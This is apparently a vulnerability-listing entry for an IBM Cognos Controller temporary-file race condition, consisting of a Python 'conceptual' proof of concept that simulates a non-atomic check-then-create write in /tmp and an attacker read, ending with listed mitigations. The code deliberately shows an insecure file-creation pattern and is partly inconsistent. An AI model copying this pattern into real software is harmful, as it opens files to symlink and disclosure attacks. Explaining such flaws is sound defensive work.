IBM Controller/Cognos Controller 临时文件竞态条件信息泄露漏洞 (CVE-2025-33111)

#!/usr/bin/env python3 """ CVE-2025-33111 PoC - IBM Controller Temporary File Race Condition Note: This is a conceptual demonstration, actual exploitation requires specific conditions. """ import os import time import threading import tempfile def simulate_vulnerable_temp_file_creation(): """ Simulate the vulnerable temporary file creation pattern found in IBM Controller. The vulnerability exists when files are created without atomic operations. """ print("[*] Simulating vulnerable temporary file creation...") # Vulnerable pattern: Check existence before creation (TOCTOU) temp_path = "/tmp/ibm_controller_temp_file.txt" # Race condition window starts here if not os.path.exists(temp_path): # Window of opportunity for race condition time.sleep(0.001) # Simulating processing delay try: # Creating file without O_EXCL flag (non-atomic) with open(temp_path, 'w') as f: f.write("Sensitive data - Controller config") print(f"[+] File created at: {temp_path}") return temp_path except FileExistsError: print("[-] Race condition detected: File already exists") return None return None def race_condition_attack(target_path): """ Simulate attacker exploiting the race condition window. In real scenario, attacker would create symlink or replace file content. """ print(f"[*] Attacker attempting to exploit race condition at {target_path}") # In real attack: Create symlink or inject malicious content # This demonstrates the concept only if os.path.exists(target_path): try: # Attempt to read potentially exposed sensitive data with open(target_path, 'r') as f: content = f.read() print(f"[!] Potential sensitive data exposed: {content[:50]}...") return True except PermissionError: print("[-] Permission denied - attack may still succeed with symlink") return False def main(): print("=" * 60) print("CVE-2025-33111 - IBM Controller Race Condition PoC") print("=" * 60) # Simulate vulnerable application behavior temp_file = simulate_vulnerable_temp_file_creation() if temp_file: # Clean up for demo if os.path.exists(temp_file): os.remove(temp_file) print("\n[*] Note: This PoC demonstrates the vulnerability concept.") print("[*] Actual exploitation requires authenticated access to IBM Controller.") print("[*] Mitigations:") print(" 1. Use atomic file operations (mkstemp, O_EXCL)") print(" 2. Set restrictive file permissions") print(" 3. Apply IBM security patches") if __name__ == "__main__": main()